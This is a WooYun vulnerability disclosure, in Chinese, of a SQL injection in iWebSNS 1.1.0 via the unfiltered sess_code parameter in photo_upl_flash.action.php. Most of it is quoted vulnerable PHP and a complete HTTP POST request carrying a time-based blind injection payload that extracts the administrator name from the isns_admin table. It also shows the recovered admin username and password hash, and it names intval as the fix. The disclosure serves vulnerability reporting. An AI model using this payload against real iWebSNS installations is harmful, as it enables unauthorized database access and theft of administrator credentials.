当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-086321
漏洞标题：
Iwebsns最新版SQL注入第一枚
相关厂商：
Jooyea
漏洞作者：
路人甲
提交时间：
2014-12-09 11:00
修复时间：
2015-03-09 11:02
公开时间：
2015-03-09 11:02
漏洞类型：
SQL注射漏洞
危害等级：
中
自评Rank：
10
漏洞状态：
未联系到厂商或者厂商积极忽略
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-12-09： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-03-09： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

Iwebsns最新版SQL注入第一枚

详细说明：

在wooyun上看到雨牛提了5个iwebsns的漏洞了（ WooYun: Iwebsns sql 第五枚。 ），我来捡捡漏儿吧，已对比，不重复，下载Iwebsns最新的1.1.0来看看。
为了使审核的大大们容易确认是否有重复，我先把存在漏洞的文件和注入参数分别写在这里：/action/album/photo_upl_flash.action.php sess_code
下面看看漏洞是怎么产生的/action/album/photo_upl_flash.action.php

无关代码
//变量定义区
$album_id=intval(get_argg('id'));
$session_code=get_argp('sess_code');
$success = "false";
$data ='';
$data_ser='';
$affair_ser='';
$code_array=array();
$errors = array();
$album_row=array();
$fs=array();
$data_array=array();
$affair_array=array();
$session_data=array();
//数据表
$t_photo = $tablePreStr."photo";
$t_album = $tablePreStr."album";
$t_online = $tablePreStr."online";
$t_tmp_file = $tablePreStr."tmp_file";
$dbo = new dbex;
//读写分离定义函数
dbtarget('r',$dbServs);
//验证用户权限
if(empty($session_code)){
	$success = "false";
	exit;
}
$code_array=explode("|",$session_code);
$sql="select user_id,user_name,user_ico,session_code from $t_online where user_id=$code_array[1]";
$user_row=$dbo->getRow($sql);
if(empty($user_row)){
	$success = "false";exit;
}
if($user_row['session_code']!=$code_array[0]){
	$success = "false";exit;
}
无关代码


我们看看$session_code是如何获得的，调用的如下函数

function get_argp($name){
	if(isset($_POST[$name]))return $_POST[$name];
	return null;
}


没有任何过滤，然后就执行了下面的语句

$code_array=explode("|",$session_code);
$sql="select user_id,user_name,user_ico,session_code from $t_online where user_id=$code_array[1]";


Iwebsns没有错误回显，这里用time-based blind进行注入测试。
Payload如下

POST /do.php?act=photo_upl_flash HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/modules.php?app=user_info&is_finish=1
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1417866015; PHPSESSID=jlqmqs159pr4441i6ascog34e3; IsReged=Y
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
sess_code=-1|-1 or (select if(ord(mid((select admin_name from isns_admin where admin_id=1 limit 0,1),1,1))=0x7a,sleep(3),0))&id=10


因为是time-based blind 注入，猜测管理员用户名的第一个字母时，若错误，延迟2s左右，如下图

猜测失败副本.jpg


若正确，延迟5s左右，如下图

猜测成功副本.jpg


按上面的方法依次做下去（burp intruder或者自己写个脚本跑），可测试管理员用户名为：admin，密码为： 21232f297a57a5a743894a0e4a801fc3

漏洞证明：

见 详细说明

修复方案：

intval

版权声明：转载请注明来源 路人甲@乌云

>

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝